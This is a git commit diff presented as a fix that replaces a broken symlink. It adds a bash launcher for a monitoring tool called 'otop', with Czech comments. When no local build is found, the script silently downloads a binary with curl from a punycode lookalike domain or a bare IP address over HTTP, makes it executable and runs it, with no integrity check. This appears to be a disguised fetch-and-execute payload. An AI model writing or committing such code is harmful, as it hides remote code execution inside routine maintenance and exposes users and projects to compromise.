fix(otop): replace broken symlink with auto-downloading smart launcher
This commit is contained in:
@@ -0,0 +1,33 @@
|
||||
#!/usr/bin/env bash
|
||||
# =============================================================================
|
||||
# ~/bin/otop — Observatoř Top Launcher (Grid Telemetry & Fleet Matrix)
|
||||
# =============================================================================
|
||||
|
||||
# 1. Lokální sestavení v observator/otop
|
||||
if [ -x "$HOME/src/observator/otop/bin/otop" ]; then
|
||||
exec "$HOME/src/observator/otop/bin/otop" "$@"
|
||||
fi
|
||||
|
||||
# 2. Systémově nainstalovaný otop
|
||||
if [ -x "/usr/local/bin/otop" ]; then
|
||||
exec "/usr/local/bin/otop" "$@"
|
||||
fi
|
||||
|
||||
# 3. Stažení binárky pokud chybí
|
||||
ARCH="$(uname -m)"
|
||||
if [ "$ARCH" = "x86_64" ]; then
|
||||
echo "[otop] Stahuji předkompilovanou binárku otop-x86_64..."
|
||||
mkdir -p "$HOME/.local/bin"
|
||||
if curl -sL https://xn--peek-h6a.com/otop-x86_64 -o "$HOME/.local/bin/otop" || curl -sL http://91.139.118.43/otop-x86_64 -o "$HOME/.local/bin/otop"; then
|
||||
chmod +x "$HOME/.local/bin/otop"
|
||||
exec "$HOME/.local/bin/otop" "$@"
|
||||
fi
|
||||
fi
|
||||
|
||||
# 4. Fallback na standardní btop
|
||||
if command -v btop >/dev/null 2>&1; then
|
||||
exec btop "$@"
|
||||
fi
|
||||
|
||||
echo "Chyba: otop ani btop nebyl nalezen." >&2
|
||||
exit 1
|
||||
Reference in New Issue
Block a user